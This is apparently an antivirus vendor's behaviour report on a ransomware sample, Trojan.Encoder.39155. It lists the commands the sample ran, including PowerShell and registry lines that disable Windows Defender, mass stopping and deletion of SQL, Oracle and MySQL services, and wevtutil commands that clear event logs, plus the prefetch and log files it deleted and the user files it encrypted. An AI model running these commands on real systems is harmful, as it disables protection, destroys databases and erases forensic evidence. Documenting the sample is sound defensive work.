Trojan.Encoder.39155

Technical Information

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableIOAVProtection $true"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableScriptScanning 1 "

Executes the following

'<SYSTEM32>\taskkill.exe' /f /im sqlservr.exe
'<SYSTEM32>\taskkill.exe' /f /im mshta.exe
'<SYSTEM32>\taskkill.exe' /f /im oracle.exe
'<SYSTEM32>\taskkill.exe' /f /im Mysqld.exe
'<SYSTEM32>\taskkill.exe' /f /im notepad.exe
'<SYSTEM32>\taskkill.exe' /f /im n.exe
'<SYSTEM32>\net.exe' stop wscsvc

Launches a large number of processes

Terminates or attempts to terminate

the following user processes:

iexplore.exe
firefox.exe

Modifies file system

Creates the following files

<Current directory>\deleteitself.bat

Deletes the following files

<SYSTEM32>\winevt\logs\debugchannel.etl
%WINDIR%\prefetch\rdrservicesupdater.exe-3d26e665.pf
%WINDIR%\prefetch\reg.exe-e7e8bd26.pf
%WINDIR%\prefetch\regsvr32.exe-8461dbee.pf
%WINDIR%\prefetch\regtlibv12.exe-b7c4f383.pf
%WINDIR%\prefetch\regtlibv12.exe-d3a27e55.pf
%WINDIR%\prefetch\rundll32.exe-36dac103.pf
%WINDIR%\prefetch\rundll32.exe-860c49a4.pf
%WINDIR%\prefetch\rundll32.exe-e6258edf.pf
%WINDIR%\prefetch\sc.exe-945d79ae.pf
%WINDIR%\prefetch\searchfilterhost.exe-77482212.pf
%WINDIR%\prefetch\searchindexer.exe-4a6353b9.pf
%WINDIR%\prefetch\pfsvperfstats.bin
%WINDIR%\prefetch\ping.exe-7e94e73e.pf
%WINDIR%\prefetch\searchprotocolhost.exe-0cb8cade.pf
%WINDIR%\prefetch\setup.exe-04541c92.pf
%WINDIR%\prefetch\setup.exe-0e8606b0.pf
%WINDIR%\prefetch\setup.exe-3c1c5c45.pf
%WINDIR%\prefetch\setup.exe-3caebeac.pf
%WINDIR%\prefetch\setup.exe-7c026c7f.pf
%WINDIR%\prefetch\setup.exe-995118bd.pf
%WINDIR%\prefetch\setup.exe-9c5f31fe.pf
%WINDIR%\prefetch\setup.exe-a76b5a2e.pf
%WINDIR%\prefetch\setup.exe-b2453f21.pf
%WINDIR%\prefetch\setup.exe-c5a66008.pf
%WINDIR%\prefetch\setuputility.exe-8e8b4811.pf
%WINDIR%\prefetch\servicemodelreg.exe-1f42b3e3.pf
%WINDIR%\prefetch\servicemodelreg.exe-afddd121.pf
%WINDIR%\prefetch\ose00000.exe-2a4efdbf.pf
%WINDIR%\prefetch\ose.exe-51c16f0e.pf
%WINDIR%\prefetch\opera_29.0.1795.47_setup.exe-9c628850.pf
%WINDIR%\prefetch\firefox.exe-a606b53c.pf
%WINDIR%\prefetch\install.exe-3f13c328.pf
%WINDIR%\prefetch\installer.exe-6c3ab888.pf
%WINDIR%\prefetch\installer.exe-ee562215.pf
%WINDIR%\prefetch\jaureg.exe-2358f266.pf
%WINDIR%\prefetch\javaw.exe-dccf0ab8.pf
%WINDIR%\prefetch\javaws.exe-ed58c697.pf
%WINDIR%\prefetch\jp2launcher.exe-7dccd1b9.pf
%WINDIR%\prefetch\jre-8u45-windows-x64.exe-61cc34b3.pf
%WINDIR%\prefetch\lodctr.exe-3cce0534.pf
%WINDIR%\prefetch\lodctr.exe-72cd50d0.pf
%WINDIR%\prefetch\logonui.exe-09140401.pf
%WINDIR%\prefetch\firefox setup 78.0.2 (x64).ex-d6c4efe8.pf
%WINDIR%\prefetch\mofcomp.exe-8fe3d558.pf
%WINDIR%\prefetch\mscorsvw.exe-245ed79e.pf
%WINDIR%\prefetch\mscorsvw.exe-57d17daf.pf
%WINDIR%\prefetch\mscorsvw.exe-90526fac.pf
%WINDIR%\prefetch\mscorsvw.exe-c3c515bd.pf
%WINDIR%\prefetch\msiexec.exe-a2d55cb6.pf
%WINDIR%\prefetch\msiexec.exe-e09a077a.pf
%WINDIR%\prefetch\ndp48-x86-x64-allos-enu.exe-54656820.pf
%WINDIR%\prefetch\netsh.exe-f1b6da12.pf
%WINDIR%\prefetch\ngen.exe-ae594a6b.pf
%WINDIR%\prefetch\ngen.exe-ec3f9239.pf
%WINDIR%\prefetch\ntosboot-b00dfaad.pf
%WINDIR%\prefetch\opera_29.0.1795.47_setup.exe-839f60fd.pf
%WINDIR%\prefetch\mofcomp.exe-fde76efc.pf
%WINDIR%\prefetch\setx.exe-a7e52bf4.pf
%WINDIR%\prefetch\sppsvc.exe-b0f8131b.pf
%WINDIR%\temp\ts_98e.tmp
%WINDIR%\prefetch\steamservice.exe-57e215d3.pf
%WINDIR%\prefetch\vc_redist.x86.exe-35b8af5d.pf
%WINDIR%\prefetch\vc_redist.x86.exe-451fb36d.pf
%WINDIR%\prefetch\vc_redist.x86.exe-4da5e6b3.pf
%WINDIR%\prefetch\vc_redist.x86.exe-92eb15bb.pf
%WINDIR%\prefetch\vc_redist.x86.exe-aace95dd.pf
%WINDIR%\prefetch\vssvc.exe-b8afc319.pf
%WINDIR%\prefetch\wermgr.exe-0f2ac88c.pf
%WINDIR%\prefetch\wevtutil.exe-400d93e8.pf
%WINDIR%\prefetch\wevtutil.exe-ef5861c4.pf
%WINDIR%\prefetch\winrar-x64-531.exe-91d4b934.pf
%WINDIR%\prefetch\wmiadap.exe-f8dfdfa2.pf
%WINDIR%\prefetch\vc_redist.x86.exe-1c5672a5.pf
%WINDIR%\prefetch\vc_redist.x86.exe-1dcb7807.pf
%WINDIR%\prefetch\wmiprvse.exe-1628051c.pf
%WINDIR%\prefetch\wusa.exe-f04b35c8.pf
%WINDIR%\prefetch\xcopy.exe-41e6513f.pf
%WINDIR%\temp\dmi2a28.tmp
%WINDIR%\temp\fwtsqmfile00.sqm
%WINDIR%\temp\ts_1085.tmp
%WINDIR%\temp\ts_126b.tmp
%WINDIR%\temp\ts_1395.tmp
%WINDIR%\temp\ts_19c0.tmp
%WINDIR%\temp\ts_1a3e.tmp
%WINDIR%\temp\ts_6cd.tmp
%WINDIR%\temp\ts_910.tmp
%WINDIR%\prefetch\wuauclt.exe-70318591.pf
%WINDIR%\prefetch\wusa.exe-a8d5906c.pf
%WINDIR%\prefetch\vc_redist.x64.exe-d3a3c549.pf
%WINDIR%\prefetch\vc_redist.x64.exe-b0c890fd.pf
%WINDIR%\prefetch\vc_redist.x64.exe-9dedc9d2.pf
%WINDIR%\prefetch\svchost.exe-007fea55.pf
%WINDIR%\prefetch\svchost.exe-05f624ab.pf
%WINDIR%\prefetch\svchost.exe-7cfedea3.pf
%WINDIR%\prefetch\taskhost.exe-7238f31d.pf
%WINDIR%\prefetch\thunderbird setup 78.9.1 (x64-07c878f8.pf
%WINDIR%\prefetch\thunderbird.exe-5119524c.pf
%WINDIR%\prefetch\trustedinstaller.exe-3cc531e5.pf
%WINDIR%\prefetch\tsetup.1.4.3.exe-ef3d6f27.pf
%WINDIR%\prefetch\tsetup.1.4.3.tmp-9455db0f.pf
%WINDIR%\prefetch\uninstall.exe-a11d6b07.pf
%WINDIR%\prefetch\unlodctr.exe-531facc7.pf
%WINDIR%\prefetch\unlodctr.exe-a3d4deeb.pf
%WINDIR%\prefetch\steamsetup_2.10.91.91.exe-91d3eed3.pf
%WINDIR%\prefetch\unpack200.exe-bb96da5f.pf
%WINDIR%\prefetch\vcredist_x64.exe-24aea5d8.pf
%WINDIR%\prefetch\vcredist_x64.exe-8227a7ef.pf
%WINDIR%\prefetch\vcredist_x64.exe-a53f124b.pf
%WINDIR%\prefetch\vcredist_x64.exe-d4929c6b.pf
%WINDIR%\prefetch\vcredist_x86.exe-163efd5c.pf
%WINDIR%\prefetch\vcredist_x86.exe-73b7ff73.pf
%WINDIR%\prefetch\vcredist_x86.exe-96cf69cf.pf
%WINDIR%\prefetch\vcredist_x86.exe-c622f3ef.pf
%WINDIR%\prefetch\vc_redist.x64.exe-2c3b2083.pf
%WINDIR%\prefetch\vc_redist.x64.exe-442857d9.pf
%WINDIR%\prefetch\vc_redist.x64.exe-5c158f2f.pf
%WINDIR%\prefetch\vc_redist.x64.exe-6181748b.pf
%WINDIR%\prefetch\userinit.exe-2257a3e7.pf
%WINDIR%\prefetch\dwm.exe-6ffd3da8.pf
%WINDIR%\prefetch\shutdown.exe-e7d5c9cc.pf
%WINDIR%\prefetch\drvinst.exe-4cb4314a.pf
<SYSTEM32>\logfiles\scm\ac4e5acf-89f7-4220-ba21-81ee183975e2
<SYSTEM32>\logfiles\scm\4d56425e-6729-4b22-8e87-9cf5a35d6c13
<SYSTEM32>\logfiles\scm\5a40e926-9e86-4b89-9cfd-b12311724371
<SYSTEM32>\logfiles\scm\5b42dd9c-5a26-4f27-bb95-34603f0997e5
<SYSTEM32>\logfiles\scm\5c0aeeea-c154-45be-8499-bea5f11baff6
<SYSTEM32>\logfiles\scm\5f5a18eb-dc73-4e45-a11c-b59043598412
<SYSTEM32>\logfiles\scm\613612ba-897d-44ce-8dc1-8fc283f9fd51
<SYSTEM32>\logfiles\scm\6238a7ba-faf1-47c3-a342-fad3f9cf7c35
<SYSTEM32>\logfiles\scm\66ac8a2f-fde7-49cf-a90a-02be56721d7c
<SYSTEM32>\logfiles\scm\6738ba6e-ea75-4b6b-b8b8-71f0336dd8ef
<SYSTEM32>\logfiles\scm\695a2fb8-0867-4d9b-9df8-686f409aaca9
<SYSTEM32>\logfiles\scm\72db7465-bc54-491b-a92a-4637a28c9bbf
<SYSTEM32>\logfiles\scm\4bc45b66-8a54-43f9-a00a-55a0c50957cd
<SYSTEM32>\logfiles\scm\4c8b01a2-11ff-4c41-848f-508ef4f00cf7
<SYSTEM32>\logfiles\scm\753c47ae-ec5e-44b3-95a9-2c8e553f0e39
<SYSTEM32>\logfiles\scm\7afcc0ca-7121-422a-ab45-b0e8d599ff08
<SYSTEM32>\logfiles\scm\81540b9f-b5bf-47eb-9c95-be195bf2c664
<SYSTEM32>\logfiles\scm\9435f817-fed2-454e-88cd-7f78fda62c48
<SYSTEM32>\logfiles\scm\994c86ad-a929-4b2c-88a0-4e25a107a029
<SYSTEM32>\logfiles\scm\9979cb83-103a-4105-9e5d-c74b0af6d198
<SYSTEM32>\logfiles\scm\99a6a4cf-6729-4c3a-bd5d-650668e121f5
<SYSTEM32>\logfiles\scm\a35bb7a6-5f0c-4c9f-8450-2b3bed532d51
<SYSTEM32>\logfiles\scm\a478c694-6f21-45ea-b190-333c9222b9cb
<SYSTEM32>\logfiles\scm\a48cabbf-24c8-4b87-b00f-9261807c3b43
<SYSTEM32>\logfiles\scm\a65c83d2-89cb-4e55-8451-36fc63248327
<SYSTEM32>\logfiles\scm\a6af9377-77ce-47ab-ad7d-ec32cad0c82d
<SYSTEM32>\logfiles\scm\7878fb06-b9d8-47c0-8c16-177a96fbbbde
<SYSTEM32>\logfiles\scm\796049aa-7d7b-4e06-9573-86488ce75919
<SYSTEM32>\logfiles\scm\486d715e-6aa2-44cf-bc48-b6990cbb53c6
<SYSTEM32>\logfiles\scm\47536d45-eeec-4bdc-8183-a4dc1f8da9e4
<SYSTEM32>\logfiles\scm\4615dc38-0fc2-4736-9043-4bb495e34cc1
<SYSTEM32>\winevt\logs\microsoft-windows-capi2%4operational.evtx
<SYSTEM32>\winevt\logs\microsoft-windows-known folders api service.evtx
<SYSTEM32>\winevt\logs\microsoft-windows-mui%4admin.evtx
<SYSTEM32>\winevt\logs\microsoft-windows-mui%4operational.evtx
<SYSTEM32>\winevt\logs\microsoft-windows-offlinefiles%4operational.evtx
<SYSTEM32>\winevt\logs\microsoft-windows-printservice%4admin.evtx
<SYSTEM32>\winevt\logs\microsoft-windows-readyboost%4operational.evtx
<SYSTEM32>\winevt\logs\microsoft-windows-restartmanager%4operational.evtx
<SYSTEM32>\winevt\logs\microsoft-windows-windows defender%4operational.evtx
<SYSTEM32>\winevt\logs\microsoft-windows-windowssystemassessmenttool%4operational.evtx
<SYSTEM32>\winevt\logs\setup.evtx
<SYSTEM32>\logfiles\scm\00166f30-a0ee-4242-a5a2-78d7e510e671
<SYSTEM32>\winevt\logs\microsoft-windows-branchcachesmb%4operational.evtx
<SYSTEM32>\logfiles\scm\0261c20d-a48a-42f1-bd19-591cacc62c2f
<SYSTEM32>\logfiles\scm\088482fa-65b8-4e17-9abf-1dcd48e8d373
<SYSTEM32>\logfiles\scm\09864cac-d8ef-43c3-8a09-6b1aa1d94fc7
<SYSTEM32>\logfiles\scm\09f06bfe-a3c8-40e3-846a-6e6f4000c238
<SYSTEM32>\logfiles\scm\0ceabfc1-807f-4b9a-a7b8-7be003f67e56
<SYSTEM32>\logfiles\scm\1f7b7221-ae8f-44f3-ba82-f7d260f51964
<SYSTEM32>\logfiles\scm\20d9d9a1-6850-4171-8428-8d975321925a
<SYSTEM32>\logfiles\scm\21e8dc7c-1165-4f13-9839-7938bf50f753
<SYSTEM32>\logfiles\scm\2470470f-2634-478e-b181-571e98a789bb
<SYSTEM32>\logfiles\scm\28011108-68df-4c73-b91b-57427d501bba
<SYSTEM32>\logfiles\scm\2f57269b-1e09-4e2d-ab1e-b0fdac7d279c
<SYSTEM32>\logfiles\scm\33f8aceb-5d41-4518-a0b7-fcf01943e564
<SYSTEM32>\logfiles\scm\3e4542ee-fe0a-4407-8803-51042e151fc2
<SYSTEM32>\logfiles\scm\044a6734-e90e-4f8f-b357-b2dc8ab3b5ec
<SYSTEM32>\logfiles\scm\a7c73732-9f11-4281-8d19-764d4ec9d94d
<SYSTEM32>\logfiles\scm\ac668097-4d6b-4093-ac14-014c09dbf820
%WINDIR%\prefetch\dotnetfx35setup.exe-7deb9041.pf
<SYSTEM32>\logfiles\scm\b0cbab43-44fc-469b-a4ce-87426761fdce
<SYSTEM32>\logfiles\scm\scm.evm.2
<SYSTEM32>\logfiles\scm\scm.evm.3
<SYSTEM32>\logfiles\scm\scm.evm.4
%WINDIR%\prefetch\42.0.2311.135_chrome_installe-7fd75326.pf
%WINDIR%\prefetch\acrordrdc1501020056_en_us.exe-3b58c109.pf
%WINDIR%\prefetch\agapplaunch.db
%WINDIR%\prefetch\agglfaulthistory.db
%WINDIR%\prefetch\agglfgapphistory.db
%WINDIR%\prefetch\agglglobalhistory.db
%WINDIR%\prefetch\agrobust.db
%WINDIR%\prefetch\aspnet_regiis.exe-75651a3c.pf
<SYSTEM32>\logfiles\scm\scm.evm
<SYSTEM32>\logfiles\scm\scm.evm.1
%WINDIR%\prefetch\aspnet_regiis.exe-86915b5a.pf
%WINDIR%\prefetch\bspatch.exe-dd9e5e46.pf
%WINDIR%\prefetch\chrome.exe-5617a1bf.pf
%WINDIR%\prefetch\clrgc.exe-5d5b90f5.pf
%WINDIR%\prefetch\cmd.exe-4a81b364.pf
%WINDIR%\prefetch\cmd.exe-ac113aa8.pf
%WINDIR%\prefetch\conhost.exe-1f3e9d7e.pf
%WINDIR%\prefetch\default-browser-agent.exe-01c82e17.pf
%WINDIR%\prefetch\dllhost.exe-5e46fa0d.pf
%WINDIR%\prefetch\dllhost.exe-766398d2.pf
%WINDIR%\prefetch\dllhost.exe-b2eb1806.pf
%WINDIR%\prefetch\dotnetfx35.exe-852dd91f.pf
%WINDIR%\prefetch\audiodg.exe-bdfd3029.pf
%WINDIR%\prefetch\bfsvc.exe-9c7a4dee.pf
<SYSTEM32>\logfiles\scm\fe702d5e-c23e-4e35-893d-31404405e38b
<SYSTEM32>\logfiles\scm\fdd56c73-f0d5-41b6-b767-6effd7966428
<SYSTEM32>\logfiles\scm\fb3c354d-297a-4eb2-9b58-090f6361906b
<SYSTEM32>\logfiles\scm\b6890242-f99f-4cd5-8a68-4dcc2c027602
<SYSTEM32>\logfiles\scm\b7d28f2f-15f7-4bc7-80da-207f07a083b4
<SYSTEM32>\logfiles\scm\be669c13-8165-4536-96d0-6d6c39292aae
<SYSTEM32>\logfiles\scm\c016366b-7126-46ca-b36b-592a3d95a60b
<SYSTEM32>\logfiles\scm\c153624b-5bf8-478e-b750-cbd2d47b8287
<SYSTEM32>\logfiles\scm\c85a6737-0af5-4420-a26d-0cc507aa60a3
<SYSTEM32>\logfiles\scm\ca4b8ff2-a4d2-4d88-a52e-3a5bdaf7f56e
<SYSTEM32>\logfiles\scm\cb08f6d6-1019-4ec0-82a0-ce7521e25136
<SYSTEM32>\logfiles\scm\cb3d64bf-c0c9-45ff-bfb0-ff1a8f680186
<SYSTEM32>\logfiles\scm\cee64558-e1a7-4d9d-80a7-2001912be5b5
<SYSTEM32>\logfiles\scm\d0250f3f-6480-484f-b719-42f659ac64d5
<SYSTEM32>\logfiles\scm\d292ea93-3514-4d36-8f67-8b05e1d5fafc
<SYSTEM32>\logfiles\scm\b64c89b9-c750-44ac-8615-b9f61a39db8c
<SYSTEM32>\logfiles\scm\d44c8ba6-8fb0-42da-b09f-1de8294f94bc
<SYSTEM32>\logfiles\scm\d848d7bf-fad9-44f7-9f4c-20b83063de64
<SYSTEM32>\logfiles\scm\da41de71-8431-42fb-9db0-eb64a961dead
<SYSTEM32>\logfiles\scm\dd9f510c-95f4-499a-90c8-bac5bc372ff4
<SYSTEM32>\logfiles\scm\dfe71e5e-79f3-41d2-bf54-46b9784d0be0
<SYSTEM32>\logfiles\scm\e0270037-d02b-4da1-bee3-2abb41002ff3
<SYSTEM32>\logfiles\scm\e22a8667-f75b-4ba9-ba46-067ed4429de8
<SYSTEM32>\logfiles\scm\e3163c33-301d-4730-a266-5518c5ed3967
<SYSTEM32>\logfiles\scm\eaca24ff-236c-401d-a1e7-b3d5267b8a50
<SYSTEM32>\logfiles\scm\eb02381f-d652-4b1c-894a-712498c62c51
<SYSTEM32>\logfiles\scm\ec376781-43f8-45d6-aace-d5f1098aa870
<SYSTEM32>\logfiles\scm\ee2b4e26-7388-4e38-b892-9271b0ade0bc
<SYSTEM32>\logfiles\scm\fa2bc0a6-8d4b-458a-85c8-2b8c72487513
<SYSTEM32>\logfiles\scm\d7b6e81d-3cf4-432c-84d2-24213f4316e6
%WINDIR%\prefetch\dotnetfx40_full_x86_x64.exe-d34ac1bf.pf
%WINDIR%\temp\ts_d96.tmp

Modifies the following files

D:\install.log
<Drive name for removable media>:\hypothyroidism_slides.pptx
<Drive name for removable media>:\samieee_obiee_presentation.pptx
<Drive name for removable media>:\roozenedowebinar.pptx
<Drive name for removable media>:\508softwareandos.doc
<Drive name for removable media>:\lisp_success.doc
<Drive name for removable media>:\uep_form_786_bulletin_1726i602.doc
<Drive name for removable media>:\hanni_umami_chapter.doc
<Drive name for removable media>:\ovp25012015.doc
<Drive name for removable media>:\fi51.doc
<Drive name for removable media>:\february_catalogue__2015.doc
<Drive name for removable media>:\testcertificate.cer
<Drive name for removable media>:\contoso_1.cer
<Drive name for removable media>:\sdksampleunprivdeveloper.cer
<Drive name for removable media>:\pmd.cer
<Drive name for removable media>:\contosoroot.cer
<Drive name for removable media>:\sdkfailsafeemulator.cer
<Drive name for removable media>:\dashborder_120.bmp
<Drive name for removable media>:\dashborder_96.bmp
<Drive name for removable media>:\dialmap.bmp
<Drive name for removable media>:\dashborder_192.bmp
<Drive name for removable media>:\tileimage.bmp
<Drive name for removable media>:\toolbar.bmp
<Drive name for removable media>:\coffee.bmp
<Drive name for removable media>:\correct.avi
<Drive name for removable media>:\join.avi
<Drive name for removable media>:\middaugh_keynote.pptx
<Drive name for removable media>:\stoc13_ml_quoc_le.pptx

Deletes itself.

Modifies user data files (Trojan.Encoder).

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: ''

Executes the following

'<SYSTEM32>\cmd.exe' /c sc stop *sql*
'<SYSTEM32>\cmd.exe' /c nc stop CryptSvc
'<SYSTEM32>\cmd.exe' /c nc stop DcomLaunch
'<SYSTEM32>\cmd.exe' /c nc stop Dhcp
'<SYSTEM32>\cmd.exe' /c nc stop Dnscache
'<SYSTEM32>\cmd.exe' /c nc stop DPS
'<SYSTEM32>\cmd.exe' /c nc stop eventlog
'<SYSTEM32>\cmd.exe' /c nc stop EventSystem
'<SYSTEM32>\cmd.exe' /c nc stop gpsvc
'<SYSTEM32>\cmd.exe' /c nc stop BITS
'<SYSTEM32>\cmd.exe' /c nc stop iphlpsvc
'<SYSTEM32>\cmd.exe' /c nc stop LanmanWorkstation
'<SYSTEM32>\cmd.exe' /c nc stop lmhosts
'<SYSTEM32>\cmd.exe' /c nc stop MMCSS
'<SYSTEM32>\cmd.exe' /c nc stop MpsSvc
'<SYSTEM32>\cmd.exe' /c nc stop Netman
'<SYSTEM32>\cmd.exe' /c nc stop netprofm
'<SYSTEM32>\cmd.exe' /c nc stop NlaSvc
'<SYSTEM32>\cmd.exe' /c nc stop nsi
'<SYSTEM32>\cmd.exe' /c nc stop LanmanServer
'<SYSTEM32>\cmd.exe' /c nc stop BFE
'<SYSTEM32>\cmd.exe' /c nc stop AudioSrv
'<SYSTEM32>\cmd.exe' /c nc stop AudioEndpointBuilder
'<SYSTEM32>\sc.exe' delete OracleMTSRecoveryService
'<SYSTEM32>\sc.exe' stop DzKeyLockService
'<SYSTEM32>\sc.exe' stop Mysql
'<SYSTEM32>\sc.exe' delete Mysql
'<SYSTEM32>\sc.exe' stop OracleVssWriterORCL
'<SYSTEM32>\sc.exe' delete DuzonDataSafe
'<SYSTEM32>\sc.exe' stop MsDtsServer110
'<SYSTEM32>\sc.exe' stop DuzonDataSafe
'<SYSTEM32>\sc.exe' delete DzKeyLockDotNetService
'<SYSTEM32>\sc.exe' delete OracleJobSchedulerORCL
'<SYSTEM32>\sc.exe' delete sqlservr.exe
'<SYSTEM32>\sc.exe' stop ReportServer
'<SYSTEM32>\sc.exe' delete ReportServer
'<SYSTEM32>\sc.exe' delete MsDtsServer120
'<SYSTEM32>\sc.exe' delete MSSQLServerOLAPService
'<SYSTEM32>\sc.exe' delete MsDtsServer110
'<SYSTEM32>\sc.exe' stop MSSQLServerOLAPService
'<SYSTEM32>\sc.exe' stop MsDtsServer120
'<SYSTEM32>\cmd.exe' /c nc stop AeLookupSvc
'<SYSTEM32>\cmd.exe' /c nc stop PcaSvc
'<SYSTEM32>\cmd.exe' /c nc stop PlugPlay
'<SYSTEM32>\cmd.exe' /c 'reg add "HKCU\Control Panel\Desktop\WindowMetrics" /v BorderColor /t REG_SZ /d 255 0 0 /f'
'<SYSTEM32>\sc.exe' delete DzKeyLockService
'<SYSTEM32>\cmd.exe' /c 'reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f'
'<SYSTEM32>\cmd.exe' /c 'reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f'
'<SYSTEM32>\cmd.exe' /c 'reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD / d "0" /f'
'<SYSTEM32>\cmd.exe' /c 'sc config WinDefend start = disabled'
'<SYSTEM32>\cmd.exe' /c 'sc stop WinDefend'
'<SYSTEM32>\cmd.exe' /c <Current directory>\DeleteItself.bat
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Add - MpPreference - ExclusionPath C:\"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Set - MpPreference - DisableRealtimeMonitoring $true; Get - MpComputerStatus"
'<SYSTEM32>\cmd.exe' /c 'EmptyWorkingSet'
'<SYSTEM32>\cmd.exe' /c 'arp -d *'
'<SYSTEM32>\cmd.exe' /c 'ipconfig /flushdns'
'<SYSTEM32>\cmd.exe' /c 'freemem'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "&"%ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" - RemoveDefinitions - All"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "&"%ProgramFiles%\Windows Defender\MpCmdRun.exe" - RemoveDefinitions - All"
'<SYSTEM32>\cmd.exe' /c 'MpCmdRun.exe - RemoveDefinitions - All'
'<SYSTEM32>\cmd.exe' /c 'powercfg /setactive 8c5e7fda - e8bf - 4a96 - 9a85 - a6e23a8c635c'
'<SYSTEM32>\cmd.exe' /c 'powercfg /setacvalueindex SCHEME_CURRENT SUB_PROCESSOR PERFEPP 100'
'<SYSTEM32>\cmd.exe' /c 'powercfg /setacvalueindex SCHEME_CURRENT SUB_PROCESSOR PERFEPP 0'
'<SYSTEM32>\cmd.exe' /c 'reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d 255 0 0 /f'
'<SYSTEM32>\cmd.exe' /c 'reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f'
'<SYSTEM32>\sc.exe' stop sqlservr.exe
'<SYSTEM32>\cmd.exe' /c nc stop Power
'<SYSTEM32>\cmd.exe' /c 'reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f'
'<SYSTEM32>\cmd.exe' /c nc stop RpcEptMapper
'<SYSTEM32>\cmd.exe' /c nc stop RpcSs
'<SYSTEM32>\cmd.exe' /c nc stop Schedule
'<SYSTEM32>\cmd.exe' /c nc stop SENS
'<SYSTEM32>\cmd.exe' /c nc stop ShellHWDetection
'<SYSTEM32>\cmd.exe' /c nc stop SSDPSRV
'<SYSTEM32>\cmd.exe' /c nc stop Themes
'<SYSTEM32>\cmd.exe' /c nc stop TrkWks
'<SYSTEM32>\cmd.exe' /c nc stop UxSms
'<SYSTEM32>\cmd.exe' /c nc stop WdiServiceHost
'<SYSTEM32>\cmd.exe' /c nc stop WdiSystemHost
'<SYSTEM32>\cmd.exe' /c nc stop Winmgmt
'<SYSTEM32>\cmd.exe' /c nc stop WPDBusEnum
'<SYSTEM32>\cmd.exe' /c nc stop wudfsvc
'<SYSTEM32>\cmd.exe' /c net stop wscsvc
'<SYSTEM32>\net1.exe' stop wscsvc
'<SYSTEM32>\cmd.exe' /c 'fsutil behavior set disablewritecache 1'
'<SYSTEM32>\cmd.exe' /c 'fsutil behavior set disabledeletenotify 1'
'<SYSTEM32>\cmd.exe' /c 'cleanmgr /d C:'
'<SYSTEM32>\cmd.exe' /c 'reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f'
'<SYSTEM32>\cmd.exe' /c nc stop ProfSvc
'<SYSTEM32>\cmd.exe' /c 'reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 0 /f'
'<SYSTEM32>\sc.exe' delete DzServerUpdaterService
'<SYSTEM32>\cmd.exe' /c sc delete MsDtsServer120
'<SYSTEM32>\cmd.exe' /c sc delete OracleMTSRecoveryService
'<SYSTEM32>\cmd.exe' /c sc delete OracleOraDb11g_home1ClrAgent
'<SYSTEM32>\cmd.exe' /c sc stop OracleJobSchedulerORCL
'<SYSTEM32>\cmd.exe' /c sc delete OracleJobSchedulerORCL
'<SYSTEM32>\cmd.exe' /c sc stop OracleDBConsoleorcl
'<SYSTEM32>\cmd.exe' /c sc delete OracleDBConsoleorcl
'<SYSTEM32>\cmd.exe' /c sc delete OracleVssWriterORCL
'<SYSTEM32>\cmd.exe' /c sc stop OracleVssWriterORCL
'<SYSTEM32>\cmd.exe' /c taskkill /f /im Mysqld.exe
'<SYSTEM32>\cmd.exe' /c sc stop Mysql
'<SYSTEM32>\cmd.exe' /c sc delete Mysql
'<SYSTEM32>\sc.exe' delete MSSQLServerADHelper100
'<SYSTEM32>\cmd.exe' /c taskkill /f /im notepad.exe
'<SYSTEM32>\cmd.exe' /c ReportingServecesService.exe
'<SYSTEM32>\sc.exe' stop MSSQLFDLauncher
'<SYSTEM32>\wevtutil.exe' cl security
'<SYSTEM32>\cmd.exe' /c sc stop ReportingServecesService.exe
'<SYSTEM32>\cmd.exe' /c sc delete ReportingServecesService.exe
'<SYSTEM32>\cmd.exe' /c sc stop OracleOraDb11g_home1ClrAgent
'<SYSTEM32>\sc.exe' stop MSSQLServerADHelper100
'<SYSTEM32>\cmd.exe' /c sc stop OracleOraDb11g_home1TNSListener
'<SYSTEM32>\cmd.exe' /c sc delete OracleServiceORCL
'<SYSTEM32>\cmd.exe' /c wevtutil cl security
'<SYSTEM32>\cmd.exe' /c wevtutil cl system
'<SYSTEM32>\cmd.exe' /c wevtutil cl applocation
'<SYSTEM32>\cmd.exe' /c taskkill /f /im sqlservr.exe
'<SYSTEM32>\cmd.exe' /c sc stop MSSQLSERVER
'<SYSTEM32>\cmd.exe' /c sc delete MSSQLSERVER
'<SYSTEM32>\cmd.exe' /c sc delete MSSQLServerADHelper100
'<SYSTEM32>\cmd.exe' /c sc stop MSSQLFDLauncher
'<SYSTEM32>\cmd.exe' /c sc stop MSSQLServerADHelper100
'<SYSTEM32>\cmd.exe' /c sc stop SQLBrowser
'<SYSTEM32>\cmd.exe' /c sc delete MSSQLFDLauncher
'<SYSTEM32>\cmd.exe' /c sc stop SQLWriter
'<SYSTEM32>\cmd.exe' /c sc delete SQLBrowser
'<SYSTEM32>\sc.exe' stop *sql*
'<SYSTEM32>\cmd.exe' /c sc delete SQLWriter
'<SYSTEM32>\cmd.exe' /c sc stop SQLSERVERAGENT
'<SYSTEM32>\cmd.exe' /c sc stop OracleServiceORCL
